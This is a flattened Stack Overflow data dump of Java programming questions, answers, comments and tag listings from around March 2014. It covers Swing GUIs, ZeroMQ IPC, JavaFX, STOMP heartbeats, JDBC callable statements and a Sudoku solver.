has body: I am having a little bit of trouble trying to get my JRadio Buttons to change the color of the text depending on what the player chooses. I am just making the GUI for the game setup page. Something like, choose your army, followed by choose the number of players you want to interact with. Here is what I have: package SystemandDesign.RISK; import java.awt.FlowLayout; import java.awt.Font; import java.awt.Color; import java.awt.event.ItemListener; import java.awt.event.ItemEvent; import javax.swing.JTextField; import javax.swing.JRadioButton; import javax.swing.JFrame; import javax.swing.ButtonGroup; public class CharacterCreation extends JFrame{ private Font redFont; private Font blueFont; private Font greenFont; private Font yellowFont; private Font grayFont; private Font blackFont; private JRadioButton three; private JRadioButton four; private JRadioButton five; private JRadioButton six; private JRadioButton red; private JRadioButton blue; private JRadioButton green; private JRadioButton yellow; private JRadioButton gray; private JRadioButton black; private JTextField textField; private ButtonGroup army; private ButtonGroup numPlayers; public CharacterCreation(){ super("Character Creation"); setLayout(new FlowLayout()); textField = new JTextField("Your Army Color", 25); add(textField); //To remain true to the Game of Risk, instead of having individual name input for the game. //I am allowing which army color the player wants to be. //When the game is done being written out, I hope to have the font of individual player text, to be the color //of their army. //In the future when the model is done, the character screen will prevent players from having the same color army. redFont = new Font("Serif", Font.PLAIN, 14); blueFont = new Font("Serif", Font.PLAIN,14); greenFont = new Font("Serif", Font.PLAIN,14); yellowFont = new Font("Serif", Font.PLAIN,14); grayFont = new Font("Serif", Font.PLAIN,14); blackFont = new Font("Serif", Font.PLAIN,14); textField.setFont(redFont);…
tagged with: fonts
tagged with: jradiobutton
tagged with: swing
type: AnsweredQuestion
has title: JRadio Buttons and Font change
tagged with: java
type: Question
linked to: http://stackoverflow.com/q/9554636
accepted answer: http://stackoverflow.com/a/22291923

http://stackoverflow.com/q/22213149
type: Question
answer count: 2
tagged with: ipc
has comment: http://stackoverflow.com/comment/33742221
has comment: http://stackoverflow.com/comment/33725730
has comment: http://stackoverflow.com/comment/33725819
downvote count: 0
tagged with: jvm
has answer: http://stackoverflow.com/a/26705329
has title: Can ZeroMQ be used by two JVM processes to communicate on same machine?
has comment: http://stackoverflow.com/comment/33787849
has comment: http://stackoverflow.com/comment/33726549
has comment: http://stackoverflow.com/comment/33725767
favorite count: 0
score: 2
upvote count: 2
has answer: http://stackoverflow.com/a/22223037
type: UnansweredQuestion
tagged with: tcp
has comment: http://stackoverflow.com/comment/33726110
has comment: http://stackoverflow.com/comment/33743132
has comment: http://stackoverflow.com/comment/33725668
tagged with: zeromq
tagged with: java
has body: I've always used either ActiveMQ or RabbitMQ, but have started digging into ZeroMQ lately because of the attention its getting. If what I'm reading is correct, then it seems to be a message broker as well as a mechanism for interprocess communication (IPC)? I have a situation where I have 2 Java processes that need to communicate with each other on the same machine. I don't want to use a shared file approach because the dialog/protocol between them is pretty sophisticated and a file solution seems clumsy. So I was going to start heading down the road of using something like Netty or MINA to defines my own comm protocol, and have them converse over ports, but then I started reading about ZeroMQ and am wondering if I can accomplish the same but with less work. So I ask: can ZeroMQ be used for IPC between the Java processes, and if so, are there any concrete code examples or articles explaining exactly how to do this?

http://stackoverflow.com/comment/34225065
type: Comment
score: 0
type: AnswerComment
has text: @yashwanth-krishnan : Please help me with my problem. http://stackoverflow.com/questions/22490207/avd-not-showing-home-screen/22490485?noredirect=1#22490485
comment on: http://stackoverflow.com/a/22198007

http://stackoverflow.com/comment/33878849
comment on: http://stackoverflow.com/q/22290373
score: 0
type: Comment
type: QuestionComment
has text: Didn't work *how?* It's worked for me for 17 years.

http://stackoverflow.com/a/29264962
has comment: http://stackoverflow.com/comment/73489936
score: 0
has comment: http://stackoverflow.com/comment/73490188
has body: Corey, Great example. I used your example and combined the two into a single procedure and wanted to share. You pass it a folder path like this: Test Folders\Customer Responses If the folder is not found, it returns null. public static Folder GetPublicExchangeFolder(string folderPath, ExchangeService exchange) { FolderView fview = new FolderView(1); fview.PropertySet = new PropertySet(BasePropertySet.IdOnly); fview.PropertySet.Add(FolderSchema.DisplayName); fview.Traversal = FolderTraversal.Shallow; Folder currentFolder = null; FindFoldersResults fldrs; string[] folders = folderPath.Split(new char[] { '\\' }); foreach (string FolderName in folders) { SearchFilter filter = new SearchFilter.ContainsSubstring(FolderSchema.DisplayName, FolderName); if(currentFolder==null) fldrs = exchange.FindFolders(WellKnownFolderName.PublicFoldersRoot, filter, fview); else fldrs = currentFolder.FindFolders(filter, fview); if ((fldrs == null) || (fldrs.Count()==0)) return null; else currentFolder = fldrs.FirstOrDefault(); } return currentFolder; } Like the other example, you need to connect to the exchange service. ExchangeService exchange = new ExchangeService(); exchange .AutodiscoverUrl("myemail@mycompany.com"); exchange .Credentials = new NetworkCredential("myemail", "mypassword", "MYDOMAIN"); And include the following: using System.Net; using Microsoft.Exchange.WebServices.Data; Enjoy! J.J.
type: Answer
has comment: http://stackoverflow.com/comment/73438185
answers question: http://stackoverflow.com/q/22291638
has comment: http://stackoverflow.com/comment/73490167

http://stackoverflow.com/a/22286728
upvote count: 1
type: AcceptedAnswer
has body: Usually, all stream wrappers in Java API propagate close method calls to the wrapped objects. So no, you don't have to call it on the wrapped stream - the connection input stream.
type: Answer
accepted answer of: http://stackoverflow.com/q/22286403
answers question: http://stackoverflow.com/q/22286403
downvote count: 0
score: 1

http://stackoverflow.com/a/22203391
answers question: http://stackoverflow.com/q/22186706
type: Answer
upvote count: 2
has body: I was able to solve this by NOT using the getInBackground(with Callback) method... I modified the code to the following: ParseQueryAdapter&lt;ParseObject&gt; adapter = new ParseQueryAdapter&lt;ParseObject&gt;(getActivity(), new ParseQueryAdapter.QueryFactory&lt;ParseObject&gt;() {public ParseQuery&lt;ParseObject&gt; create() { // Here we can configure a ParseQuery to our heart's desire. final ParseQuery&lt;ParseObject&gt; cUser = ParseQuery.getQuery("contact"); ParseQuery&lt;ParseObject&gt; query = new ParseQuery&lt;ParseObject&gt;("contact"); try { query=cUser.get("MyObjectIdGoesHere").getRelation("has").getQuery(); } catch (ParseException e) { e.printStackTrace(); } return query; } }); adapter.setTextKey("screenName"); setListAdapter(adapter); It was really frustrating and I hope that someone could benefit from the solution that fitted my code...
score: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22186706

http://stackoverflow.com/a/22274330
answers question: http://stackoverflow.com/q/22273924
type: Answer
score: 0
has body: static int nthDigit(int number, int n) { n = String.valueOf(number).length() - n; int digit = 0; for (int i = 0; i &lt;= n; i++) { digit = number % 10; number /= 10; } return digit; } public static void main(String args[]) { System.out.println(nthDigit(2314, 1)); // 2 System.out.println(nthDigit(2314, 2)); // 3 System.out.println(nthDigit(2314, 3)); // 1 System.out.println(nthDigit(2314, 4)); // 4 } What I did was instead of starting with n as the nth digit, I had it start at the opposite side of the number to it. So instead of the 4th digit, I would have used the 1st digit. To do that, I subtracted n from the length of the number (that's the complement of it, if you've ever taken a probability course).

http://stackoverflow.com/q/22299087
tagged with: java
type: Question
tagged with: java-server
accepted answer: http://stackoverflow.com/a/22300233
tagged with: security
score: 0
has body: I'm still pretty new to this stuff, but when I learned about sending data from my server app, I was told it's "Good house keeping" to flush my cache to the client to clear things that shouldn't be there with something like output.flush(); My question is: if there is something private that my client shouldn't get (like some other user's private data), doesn't this cause any security issues, since this way I'm showing one client data he shouldn't see? if so, is there another way to do it securely? Thanks!
answer count: 1
has title: Flushing cache and security on java server
has answer: http://stackoverflow.com/a/22300233
type: AnsweredQuestion

http://stackoverflow.com/comment/33802452
has text: put rellated Icon/ImageIcon to XxxTableModel, this column can't be visible (remove() from JTables view), then all mouse or key events aer only about convert view index to model and getValueAt, pleas why complicating simple things, did you :-)
comment on: http://stackoverflow.com/a/22255509
type: Comment
score: 1
type: AnswerComment

object-to-string
tags question: http://stackoverflow.com/q/22195578
tag name: object-to-string
type: Tag

http://stackoverflow.com/q/22243243
has comment: http://stackoverflow.com/comment/33790674
has comment: http://stackoverflow.com/comment/33878278
tagged with: constructor
has title: I want to load new FXML file with some parameters from the other Controller Files
downvote count: 2
has comment: http://stackoverflow.com/comment/33783072
has comment: http://stackoverflow.com/comment/33878563
has comment: http://stackoverflow.com/comment/33781300
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33784057
possible better answer: http://stackoverflow.com/a/22244112
tagged with: java
has answer: http://stackoverflow.com/a/22244112
tagged with: javafx
has comment: http://stackoverflow.com/comment/33879017
accepted answer: http://stackoverflow.com/a/22317389
has comment: http://stackoverflow.com/comment/33783867
type: Question
answer count: 2
upvote count: 0
score: -2
has comment: http://stackoverflow.com/comment/33783565
linked to: http://stackoverflow.com/q/5105289
has comment: http://stackoverflow.com/comment/33902759
has body: I already read next answers about passing parameters, but they didn't help me. passing-parameters-javafx-fxml javafx-from-the-trenches-singleton-controllers Below is my effort to open new FXML view from event handler which failes to pass parameter. Kindly looking for help. MainController.java @FXML private void handleButtonAction(ActionEvent event) throws IOException { Context currentContext = new Context(); URL url = getClass().getResource("ManageTemplateChild.fxml"); FXMLLoader fxmlloader = new FXMLLoader(); fxmlloader.setLocation(url); fxmlloader.setBuilderFactory(new JavaFXBuilderFactory()); bordermanagetemp.getChildren().clear(); bordermanagetemp.getChildren().add((Node) fxmlloader.load(url.openStream())); ((ManageTemplateChildController) fxmlloader.getController()) .setContext(currentContext,Finalvaluetablerow); } ManageTemplateChildController.java private Context context; public void setContext(Context context,Object Finalvaluetablerow) { this.context = context; o = Finalvaluetablerow; System.out.println("value of main" + Finalvaluetablerow + " value of child" + o); testlabel.setText((String) o); } Context.java public class Context { private final static Context instance = new Context(); public static Context getInstance() { return instance; } } ManageTemplateChild.FXML <?xml version="1.0" encoding="UTF-8"?> <?import java.lang.*?> <?import java.util.*?> <?import javafx.scene.*?> <?import javafx.scene.control.*?> <?import javafx.scene.layout.*?> <?import javafx.scene.text.*?> This code correctly opens new Pane but throws next exception. Also Label in the child pane is not shown. NPE comes from next line: bordermanagetemp.getChildren().add((Node) fxmlloader.load(url.openStream())); StackTrace: Exception in thread "JavaFX Application Thread" java.lang.RuntimeException: java.lang.reflect.InvocationTargetException at javafx.fxml.FXMLLoader$ControllerMethodEventHandler.handle(FXMLLoader.java:1440) at com.sun.javafx.event.CompositeEventHandler.dispatchBubblingEvent(…
linked to: http://stackoverflow.com/q/14187963
favorite count: 0
has answer: http://stackoverflow.com/a/22317389
has comment: http://stackoverflow.com/comment/33878430
tagged with: fxml

http://stackoverflow.com/q/22316604
tagged with: java
tagged with: eclipse
has answer: http://stackoverflow.com/a/22316742
type: Question
has answer: http://stackoverflow.com/a/22316695
linked to: http://stackoverflow.com/q/1172424
linked to: http://stackoverflow.com/q/7495662
possible better answer: http://stackoverflow.com/a/22316695
score: 0
answer count: 3
accepted answer: http://stackoverflow.com/a/22316742
has answer: http://stackoverflow.com/a/22316697
has body: my project structure is following projectxyz src com.example abc.java resources abc.properties i want to read the property file from abc.java. How can i do that using Resource Bundle. I know how to use Resource Bundle. ResourceBundle bundle =ResourceBundle.getBundle("resources\\ApplicationResources.properties"); But this code did not work.The problem is in the path of property file. How to get the path of the file outside the src folder ??
has title: property file location java
tagged with: properties
type: AnsweredQuestion

http://stackoverflow.com/a/22262709
type: Answer
has body: For those in the future looking for an answer for this kind of question. I was able to to a Transitive closure on the matrix itself. If any number in the diagonal is a 1, it means that there was a cycle, therefore this was not a tree. Hope this helps anyone else.
score: 0
answers question: http://stackoverflow.com/q/22254632

http://stackoverflow.com/q/22215344
tagged with: eclipse
type: Question
downvote count: 0
has answer: http://stackoverflow.com/a/22215561
has title: Remove update when location not changed in long time in android
tagged with: android
answer count: 1
tagged with: locationlistener
favorite count: 0
upvote count: 3
type: UnansweredQuestion
has body: I created an android app to get a user's location from LocationManager and Locationlistener with a GPS provider. My minDistance parameter in requestLocationUpdates is 100 (that means that the location is not updated when the distance &lt; 100 meters), and I want to remove updatelocation automatically when the location is not changed (or no new location is received in onLocationChanged) after a long time (ex: 5 minutes), for energy saving purposes.
score: 3
tagged with: java
tagged with: locationmanager

http://stackoverflow.com/q/22261830
answer count: 1
tagged with: logging
accepted answer: http://stackoverflow.com/a/22273585
has comment: http://stackoverflow.com/comment/33829762
tagged with: java
has title: SQLlite Android Database how to auto-delete if max size reached?
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/33822997
favorite count: 0
type: Question
tagged with: sql
tagged with: android
has answer: http://stackoverflow.com/a/22273585
tagged with: sqlite
score: 1
has body: im in the process of building out massive logging for my app. I could use flat files but before that im considering sqllite db. I would like to know is there a way to create a database and have it auto delete if a certain byte size on disk is reached ? I'd also like to do this on the table level. So if a table size became over a certain max i would wipe the entire table and start clean. I wanted to know if at the time of creating a table in sql if there is a command i can use to 'trigger' this ?
upvote count: 1

http://stackoverflow.com/q/22313935
tagged with: mysql
upvote count: 4
downvote count: 0
possible better answer: http://stackoverflow.com/a/38732959
has title: Java CallableStatement registerOutParameter, what does it do?
linked to: http://stackoverflow.com/q/1113579
type: Question
has answer: http://stackoverflow.com/a/38732959
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22314494
favorite count: 0
tagged with: callable-statement
answer count: 2
has body: I'm following a guide regarding callable statements. In this guide, it says that I need to register the out parameter with the follow statement: callsts.registerOutParameter(2, java.sql.Types.VARCHAR); QUESTION: Why do I need to do this/what does it do ? Complete Java code: String getcall = "{call gettitle (?,?)}"; CallableStatement callsts = connect.prepareCall(getcall); int nID = 15; callsts.setInt(1, nID); callsts.registerOutParameter(2, java.sql.Types.VARCHAR); callsts.execute(); String calltitle = callsts.getString(2); System.out.println("Callable Stamement Title: "+calltitle); mySQL procedure: DELIMITER $$ DROP PROCEDURE IF EXISTS `nothingtowear`.`gettitle` $$ CREATE PROCEDURE `nothingtowear`.`gettitle` ( IN nothingtowear_ID INT, OUT nothingtowear_TITLE VARCHAR( 255 )) BEGIN SELECT Title INTO nothingtowear_TITLE FROM articles WHERE ID = nothingtowear_ID; END $$ DELIMITER;
score: 4
accepted answer: http://stackoverflow.com/a/22314494
tagged with: java

http://stackoverflow.com/comment/33663589
has text: the second looks much better
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22178866
score: 0

http://stackoverflow.com/comment/33806001
score: 1
comment on: http://stackoverflow.com/q/22257334
type: Comment
type: QuestionComment
has text: For me it helps to undeploy and deploy in two separate steps. Nevertheless stop glassfish and clean its temp dir.

http://stackoverflow.com/a/22313442
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/33906611
has comment: http://stackoverflow.com/comment/33906665
accepted answer of: http://stackoverflow.com/q/22313370
score: 1
answers question: http://stackoverflow.com/q/22313370
has comment: http://stackoverflow.com/comment/33906649
has comment: http://stackoverflow.com/comment/33906719
has comment: http://stackoverflow.com/comment/33906956
downvote count: 0
has comment: http://stackoverflow.com/comment/33906940
has comment: http://stackoverflow.com/comment/33906686
has comment: http://stackoverflow.com/comment/33906800
type: AcceptedAnswer
has body: You can just use: ^(?=.*?[\\dA-Z!@#$%&amp;*]).{7,20}$ Online Demo: http://regex101.com/r/lC5aL2
has comment: http://stackoverflow.com/comment/33906922
has comment: http://stackoverflow.com/comment/33906866

http://stackoverflow.com/comment/33852715
score: 0
type: Comment
type: QuestionComment
has text: no I did not do exactly the same, was just looking into some of my code where I was using a mutable Bitmap
comment on: http://stackoverflow.com/q/22283390

http://stackoverflow.com/a/22211466
has body: Finally i solve the issue. Let share my code; Table Model Class; class MyTableModel extends AbstractTableModel { private String[] columnNames = {"Mach", "ID", "Status", "IsActive"}; private Vector&lt;Vector&lt;Object&gt;&gt; data = new Vector&lt;Vector&lt;Object&gt;&gt;(); public MyTableModel() {try { fetchDB(); } catch (Exception ex) { Logger.getLogger(Config.class.getName()).log(Level.SEVERE, null, ex); } } public void fetchDB ()throws Exception{ ResultSet rs; Statement stmt; ResultSetMetaData rsmtd; String query = "select Mach,ID,Status,IsActive from Configs\n" + "order by Machine,ID"; try { Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); String connectionUrl = "jdbc:sqlserver://192.168.100.100;" + "databaseName=DBST;" + "user=" + "user1" + ";" + "password=" + "user1pass" + ";"; Connection con = DriverManager.getConnection(connectionUrl); stmt = con.createStatement(); rs = stmt.executeQuery(query); rsmtd = rs.getMetaData(); int columnCount = rsmtd.getColumnCount(); while (rs.next()) { Vector&lt;Object&gt; vector = new Vector&lt;Object&gt;(); for (int columnIndex = 1; columnIndex &lt;= columnCount; columnIndex++) { vector.add(rs.getObject(columnIndex)); } data.add(vector); } } catch(SQLException se){ se.printStackTrace(); } catch (ClassNotFoundException ex) { Logger.getLogger(Config.class.getName()).log(Level.SEVERE, null, ex); } } @Override public int getColumnCount() { return columnNames.length; } @Override public int getRowCount() { return data.size(); } @Override public String getColumnName(int col) { return columnNames[col]; } @Override public Object getValueAt(int rowIndex, int columnIndex) { return data.elementAt(rowIndex).elementAt(columnIndex); } @Override public Class getColumnClass(int c) { return getValueAt(0, c).getClass(); } } Main Gui; jTable1 = new javax.swing.JTable (new MyTableModel());
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22186619
type: Answer
accepted answer of: http://stackoverflow.com/q/22186619

http://stackoverflow.com/comment/33887733
comment on: http://stackoverflow.com/a/22302449
type: AnswerComment
score: 0
has text: If this is the case, I'll mark this as the answer after changing how the childrenList is handled. Make sure to edit the response to reflect that if I do
type: Comment

hadoop
tags question: http://stackoverflow.com/q/22262310
tags question: http://stackoverflow.com/q/22322866
tags question: http://stackoverflow.com/q/22300520
tag name: hadoop
tags question: http://stackoverflow.com/q/22285507
tags question: http://stackoverflow.com/q/22215363
tags question: http://stackoverflow.com/q/22326631
type: Tag
tags question: http://stackoverflow.com/q/22234579
tags question: http://stackoverflow.com/q/22175280
tags question: http://stackoverflow.com/q/22249296
tags question: http://stackoverflow.com/q/22188887
tags question: http://stackoverflow.com/q/22247367
tags question: http://stackoverflow.com/q/22195640
tags question: http://stackoverflow.com/q/22179960
tags question: http://stackoverflow.com/q/22216694
tags question: http://stackoverflow.com/q/22245425
tags question: http://stackoverflow.com/q/22224299
tags question: http://stackoverflow.com/q/22266360
tags question: http://stackoverflow.com/q/22238768
tags question: http://stackoverflow.com/q/22216771
tags question: http://stackoverflow.com/q/22258955
tags question: http://stackoverflow.com/q/22186549
tags question: http://stackoverflow.com/q/22215994
tags question: http://stackoverflow.com/q/22171853
tags question: http://stackoverflow.com/q/22291067
tags question: http://stackoverflow.com/q/22267661
tags question: http://stackoverflow.com/q/22218576
tags question: http://stackoverflow.com/q/22292202
tags question: http://stackoverflow.com/q/22250484
tags question: http://stackoverflow.com/q/22298432
tags question: http://stackoverflow.com/q/22278620
tags question: http://stackoverflow.com/q/22233908

http://stackoverflow.com/q/22285225
tagged with: java
tagged with: stomp
downvote count: 0
type: UnansweredQuestion
has body: The design of my current stomp client process is as follows: Open stomp connection (sending CONNECT frame) Subscribe to a feed (send a SUBSCRIBE frame) Do a loop to continually receive feed: while (true) { connection.begin("txt1"); StompFrame message = connection.receive(); System.out.println("message get header"+message.toString()); LOG.info(message.getBody()); connection.ack(message, "txt1"); connection.commit("txt1"); } My problem with this process is that I get java.net.SocketTimeoutException: Read timed out at java.net.SocketInputStream.socketRead0(Native Method)... and I think the cause of this is mostly because the feed I am subscribed to gives information slower on certain times (as I normally get this error when the weekend comes, holidays or evenings). I have been reading up on this here and I think this would help with my problem. However, I'm not so sure how to incorporate it with the current layout of my stomp client. Would I have to send a CONNECT header within Step 3? I am currently using activemq to create my stomp client if that helps. In the stomp spec we have: Regarding the heart-beats themselves, any new data received over the network connection is an indication that the remote end is alive. In a given direction, if heart-beats are expected every milliseconds: the sender MUST send new data over the network connection at least every milliseconds if the sender has no real STOMP frame to send, it MUST send a single newline byte (0x0A) if, inside a time window of at least milliseconds, the receiver did not receive any new data, it CAN consider the connection as dead because of timing inaccuracies, the receiver SHOULD be tolerant and take into account an error margin Would that mean my client would need to send a newline bye every n seconds?
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/34504597
score: 3
has title: Heart-beating in STOMP client
has comment: http://stackoverflow.com/comment/34519014
has answer: http://stackoverflow.com/a/25841009
tagged with: socketexception
has comment: http://stackoverflow.com/comment/34657767
answer count: 1
has comment: http://stackoverflow.com/comment/34448670
has comment: http://stackoverflow.com/comment/34454847
tagged with: activemq-classic
upvote count: 3

http://stackoverflow.com/comment/33893454
score: 0
type: Comment
type: QuestionComment
has text: @LeonardBrünings, This (may) be premature? I'm bouncing to 2GB memory usage (90% of which can be gc'ed) just by reading in files, split them (not necessarily with split()), and passing. The data is UTF-8, and lots of historical data. newer historical data is Microsoft Word "HTML" documents (with lots of bad and redundant HTML). And this is actually my "pre-processing" step.. the functions are stripping out bad/image-to-ascii-encoded data (which was appended into .txt). Part of this question is to find other topics to research to avoid regex and split()--which you all are helping at greatly :-)
comment on: http://stackoverflow.com/q/22305493

http://stackoverflow.com/a/22306600
type: Answer
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22303868
has body: ref for android client assume not useing proxy when on android connected to WIFI. Assume that on android you are NOT using net interface for 3G/4G Assume that you are using the android httpclient packages and not the apache httpclient. assume that manifest has granted Web permissions. You have to know the above in order to do much with debug. You will get a bunch of default headers from default packages when you invoke these: HttpClient client = new DefaultHttpClient(); HttpGet request = new HttpGet(url); You will need to either turn on logging for WIRE &amp; HEADERS OR you will need to dump your headers for the get request so that you know exactly whats in there. Then , compare your android generated http GET ( all headers ) to the curl test script you see below.. If your android headers are reasonably close ( dont need to be exact there can be some extras in there like 'gzip' encoding ) to the curl headers , then the android will work. The curl example shows only 3 headers and i would make a wild guess that your android client , by default, is setting 7 or 8 headers and that the WP server does not like something in the cruft of the extra headers and is redirecting to the logon. @ ~$ curl --verbose http://www.washingtonpost.com/wp-srv/simulation/simulation_test.json * About to connect() to www.washingtonpost.com port 80 (#0) * Trying 23.204.109.48... * connected * Connected to www.washingtonpost.com (23.204.109.48) port 80 (#0) &gt; GET /wp-srv/simulation/simulation_test.json HTTP/1.1 &gt; User-Agent: curl/7.28.1-DEV &gt; Host: www.washingtonpost.com &gt; Accept: */* &gt; &lt; HTTP/1.1 200 OK &lt; Server: webserver &lt; Content-Type: text/plain &lt; Last-Modified: Wed, 12 Feb 2014 21:16:22 GMT &lt; Content-Length: 58187 &lt; ETag: "e34b-52fbe4a6" &lt; Accept-Ranges: bytes &lt; Date: Mon, 10 Mar 2014 16:54:42 GMT &lt; Connection: keep-alive &lt; { "posts": [ android httpclient 4.3 sample with HEADER logs turned on... D/ch.boye.httpclientandroidlib.headers(15360): ht…
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22303868

http://stackoverflow.com/comment/33662056
type: AnswerComment
has text: Sorry, do you mean use >> rather than << because it is used to retrieve the values that way? I omitted the initial alpha channel, and I am still getting a fuzzy image result.
type: Comment
comment on: http://stackoverflow.com/a/22176487
score: 0

http://stackoverflow.com/comment/33731174
has text: Rahul, could you please explain what you mean by "complex"?
type: AnswerComment
comment on: http://stackoverflow.com/a/22216466
score: 0
type: Comment

http://stackoverflow.com/comment/33764335
type: AnswerComment
type: Comment
has text: While the compiler returns a wrapper on valueOf(), it is not smart enough to know whether you intend valueOf() to resolve to an int or a wrapper at run time. When you directly pass in a primitive or a wrapper class, the compiler knows what to expect.
score: 0
comment on: http://stackoverflow.com/a/22234648

http://stackoverflow.com/q/22289209
has answer: http://stackoverflow.com/a/22289254
favorite count: 0
has comment: http://stackoverflow.com/comment/33863026
has body: I'm just starting java programing and I've been doing really good so far. So the program I am having problems with works just after it goes through there is an error message, yet the program worked as I wanted it to. The program in question is supposed to role a die 1000 times and count how many times each side of the die was rolled out of 1000. its supposed to display this, which it does. Here is my program: and the error message I put below it. Thanks for any help in advanced! public class Test { public static void main(String[] args) {//create array of 1,000 random numbers int[] randomNumbers = new int[1000]; for(int i = 0; i &lt; randomNumbers.length; i++) randomNumbers[i] =1 +(int)(Math.random() * 6); { //initialize count int[] counts = countInts(randomNumbers); displayIntCount(counts); } } public static int[] countInts(int[] ints) { //creat new array to hold occurence values int[] counts = new int[6]; for(int i = 1; i &lt;=counts.length; i++) for(int j=0;j&lt;ints.length;j++) if(ints[j] == i) counts[i-1]++; return counts; } public static void displayIntCount(int[] counts) {//display the occurrences for (int i = 0; i &lt; counts.length; i++) System.out.println("The number 1 occurs "+counts[i]+" times \nThe number 2 occurs "+counts[i+1]+" times \nThe number 3 occurs "+counts[i + 2]+ " times \nThe number 4 occurs " +counts[i+3]+ " times \nThe number 5 occurs " +counts[i + 4]+ " times \nThe number 6 occurs "+counts[i + 5]+ " times"); } }
has title: Getting an Array error message
accepted answer: http://stackoverflow.com/a/22289286
score: 2
type: AnsweredQuestion
upvote count: 2
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22289286
answer count: 2
possible better answer: http://stackoverflow.com/a/22289254
has comment: http://stackoverflow.com/comment/33863039
tagged with: arrays
downvote count: 0

http://stackoverflow.com/comment/33657501
has text: @Andres, regarding Spring. If you already have Tomcat/Jetty/etc. to host your web app, take a look at http://stackoverflow.com/questions/1667867/how-to-deploy-a-spring-integration-app-in-tomcat
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/22174605

http://stackoverflow.com/comment/33775168
type: Comment
has text: @JasonC nothing happened...it just still goes infinitely..
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22240545

http://stackoverflow.com/comment/33884925
comment on: http://stackoverflow.com/q/22301708
type: Comment
score: 2
type: QuestionComment
has text: Do a regression test for all your application deployed.

http://stackoverflow.com/comment/33771865
score: 0
has text: Yeah saw this project but its probably overkill for what I need. Its also fun to work these things out for yourself sometimes!
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22214175

http://stackoverflow.com/comment/33929016
type: Comment
has text: or is it possible to do it for just tests? im using an embedded database which is setting the blob size as 255 (sql contains blob (255), ...) when it needs to be much bigger
comment on: http://stackoverflow.com/a/22326457
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33810610
has text: TableName is PhoneBook. Tried: resultSet = statement.executeQuery("SELECT * FROM PhoneBook WHERE * LIKE '%" + name + "%'"); and got com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException saying to check for the right syntax to use near '* LIKE '%John%''
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22259809

http://stackoverflow.com/q/22300220
linked to: http://stackoverflow.com/q/10578984
has answer: http://stackoverflow.com/a/22300292
downvote count: 2
upvote count: 1
duplicate of: http://stackoverflow.com/q/10578984
type: AnsweredQuestion
tagged with: java
has body: public static void main(String[] args) { String literalstr = "ABC"; String literalstr2 = "ABC"; String str = new String("ABC"); String str2 = new String("ABC"); if (literalstr == literalstr2) { System.out.println("Literal String... I use String Pooling"); } if (str != str2) { System.out.println("Object String... I dont use String Pooling"); } if (str.intern() == str2.intern()) { System.out.println("Interning ... I use String Pooling"); } // System.out.println(ric2); } What is the purpose of intern()?
score: -1
accepted answer: http://stackoverflow.com/a/22300292
type: Question
linked to: http://stackoverflow.com/q/1855170
answer count: 1
favorite count: 0
duplicate of: http://stackoverflow.com/q/1855170
tagged with: string-interning
has comment: http://stackoverflow.com/comment/33882507
has title: what is Intern() in java?

http://stackoverflow.com/q/22265501
answer count: 1
tagged with: fat32
score: 0
tagged with: linux
has title: How to run Java off of a FAT32 partition with Linux as the OS?
type: UnansweredQuestion
tagged with: java
tagged with: partition
type: Question
has body: I have the same situation as described here in this SO post. Looks like, no solution was found. I am additionally open to using OpenJDK if its build process / makefile can somehow be altered to yield a monolithic, statically-linked java binary, instead of one with loosely hanging lib*.so's, which later have trouble being searched for or loaded by the loader.
linked to: http://stackoverflow.com/q/22112371
has answer: http://stackoverflow.com/a/22265684

http://stackoverflow.com/q/22206281
upvote count: 1
has title: Sudoku solver backtracking algorithm
tagged with: solver
score: 1
tagged with: java
has body: I'm trying to write sudoku solver in Java. My program is creating random board and then it's trying to solve that board. To do this I wrote functions which checks columns, rows and boxes and I downloaded implementation of backtracking solving algorithm. I've already analysed this implementation and I think it should work but it doesn't. It always return that it is impossible to find solution. I also tried to make my own implementation but the result was always the same. Please help me with this! package sudoku; import java.util.Random; public class Game { int[][] board = new int[9][9]; Random rand = new Random(); public Game(){ for(int y = 0; y&lt;9; y++) for(int x =0; x&lt;9; x++) board[x][y] = -1; fill(40); System.out.println("STARTING BOARD:\n"); draw(); System.out.println("\n SOLVED BOARD:"); if (solve(0,0)) // solves in place draw(); else System.out.println("NO SOLUTION!"); } private void fill(int numbeOfKnownValues){ int counter=0; while(counter != numbeOfKnownValues){ int Xindex = rand.nextInt((9 - 1) + 0) + 0; //look for the x index in board int Yindex = rand.nextInt((9 - 1) + 0) + 0; //look for the y index in board int val = rand.nextInt((9 - 1) + 1) + 1; if(check(Xindex, Yindex, val)) { board[Xindex][Yindex] = val; } else continue; counter++; } } private boolean checkColumns(int Xindex, int Yindex, int val){ if(board[Xindex][Yindex]==-1){ for(int y=0;y&lt;9;y++){ //check columns if(board[Xindex][y]==val) return false; } } else return false; return true; } private boolean checkRows(int Xindex, int Yindex, int val){ if(board[Xindex][Yindex]==-1){ for(int x=0;x&lt;9;x++){ //check columns if(board[x][Yindex]==val) return false; } } else return false; return true; } private boolean checkSquares(int Xindex, int Yindex, int val){ int square_Xindex = (Xindex / 3)*3; int square_Yindex = (Yindex / 3)*3; for (int k = 0; k &lt; 3; ++k) // box for (int m = 0; m &lt; 3; ++m) if (val == board[square_Xindex+k][square_Yindex+m]) return false; return true; } private boolean…
type: Question
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33713228
tagged with: backtracking
has comment: http://stackoverflow.com/comment/33716811
tagged with: sudoku
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/70826540
